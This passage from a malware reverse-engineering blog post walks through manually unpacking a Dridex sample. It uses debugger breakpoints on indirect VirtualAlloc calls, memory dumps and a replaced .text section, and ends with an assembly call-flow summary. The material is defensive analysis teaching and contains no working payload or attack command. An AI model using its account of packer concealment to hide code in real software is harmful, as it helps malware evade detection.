<p>Following <code class="language-plaintext highlighter-rouge">sub_409820</code>, we can see a complex subroutine that make a lot of calls. On this situation, don’t get away from your focus, trying to understand what each subroutine does will only takes to a infinite rabbit hole. My strategy here was searching for indirect calls on those subroutines. I’ve came up with two interesting ones:</p>

<blockquote>
  <p>Again, try it yourself before continuing.</p>
</blockquote>

<p>At <code class="language-plaintext highlighter-rouge">0x004099d1</code> there is a call to a stack variable. If we put a breakpoint there, we will soon see a call to <code class="language-plaintext highlighter-rouge">VirtualAlloc</code>. Step over and follow <code class="language-plaintext highlighter-rouge">eax</code> on dump 1. After that call, it makes a call to <code class="language-plaintext highlighter-rouge">sub_406e40</code>, which, at <code class="language-plaintext highlighter-rouge">00406f97</code>, makes another call to <code class="language-plaintext highlighter-rouge">eax</code>. Placing a breakpoint on that address will reveal us another call to <code class="language-plaintext highlighter-rouge">VirtualAlloc</code>. Again, step over and follow <code class="language-plaintext highlighter-rouge">eax</code> on dump 2.</p>

<blockquote>
  <p>This is a very manual process, the reader will need to deep dive on those routines and really pay attention to get anything valuable from them.</p>
</blockquote>

<p>Finally, at <code class="language-plaintext highlighter-rouge">00409d90</code>, there is a call to another stack value. Placing a breakpoint on it and stepping into will reveal a PE file on dump 2. Dump it, but soon you will notice that it isn’t our unpacked binary. That call (at <code class="language-plaintext highlighter-rouge">00409d90</code>) is made to the previous allocated memory (dump 1). Knowing that, dump the content from dump 1 and open in your disassembler.</p>

<p>As it starts the execution at the base address which was allocated (<code class="language-plaintext highlighter-rouge">00520000</code> in my case), we can assume that <code class="language-plaintext highlighter-rouge">sub_0</code> in the disassembler is our entrypoint.</p>

<p>This shellcode is huge. There are plenty of indirect calls which the reader can find them by itself as an exercise.</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/dridex-graph2.png" /></p>

<p>Going by the principle that most of it is related to the unpacking code, at the end of this subroutine there is a jump to <code class="language-plaintext highlighter-rouge">rax</code>. Calculate the offset and place a breakpoint on it. Hitting that address, you will see the address <code class="language-plaintext highlighter-rouge">0x00401a40</code>.</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/dridex-stack.png" /></p>

<p>As the reader must have noticed, it is the address of our original <code class="language-plaintext highlighter-rouge">.text</code>, meaning that our unpacking procedure is a <code class="language-plaintext highlighter-rouge">.text</code> replacement!</p>

<p>Dump the <code class="language-plaintext highlighter-rouge">.text</code> segment from memory, open it on your disassembler, and you successfully unpacked the binary!</p>

<blockquote>
  <p>In this particular case, dumping only the <code class="language-plaintext highlighter-rouge">.text</code> from memory was better than dumping the whole PE. It may vary for the reader.</p>
</blockquote>

<p>To get to the shellcode’s entrypoint, remember that it is set by its caller, so the offset <code class="language-plaintext highlighter-rouge">a40</code> is our entrypoint:</p>

<p><img src="/assets/img/articles/unveiling-custom-packers-a-comprehensive-guide/dridex-binjaunpacked.png" /></p>

<p>That whole process summed up to the following:</p>
<pre><code class="language-asm">start:
0040c412 lea eax, [sub_40c2e0]
0040c41e push eax
0040c425 ret
 
0040c2e0 sub_40c2e0:
0040c3d8 call sub_40b4c0
	0040b4c0 sub_40b4c0:
	0040b658 mov dword [data_411bf4], eax ([data_411bf4] = sub_40afe0)
0040c3f4 call [data_411bf4] = (sub_40afe0)
 
0040afe0 sub_40afe0:
0040b4b4 call sub_409820
 
00409820 sub_409820:
004099d1 call dword [esp+0x54] (VirtualAlloc)
004099fb call sub_406e40
	00406e40 sub_406e40:
	00406f97 call eax (VirtualAlloc)
00409d90 call dword [esp+0x220] (shellcode at 00450000)
 
shellcode:
00000273 (00450273) call rdx (VirtualProtect/VirtualAlloc several times)
00000e0b (00450e0b) call qword [rsp+0x14]
00000f58 (00450f58) jmp rax (replaced .text at 00401a40)
 
dump!
</code></pre>

<p>Now, feel free to apply the knowledge you gathered here on this binary.</p>

<p>And that’s how i usually deal with custom packers. Although it is a pretty manual task, keep going, it is very rewarding to get the unpacked code by manually unpacking it.</p>

<p>Thank you for your time, see you on the next one. Thanks for reading!</p>]]></content><author><name>estr3llas</name></author><category term="unpacking" /><category term="malware" /><category term="RE" /><category term="Dridex" /><category term="Simdda" /><summary type="html"><![CDATA[Diving into an introduction to how packers work, some tips to unpack, and two walkthroughs showing off how I usually deal with custom packers.]]></summary></entry></feed>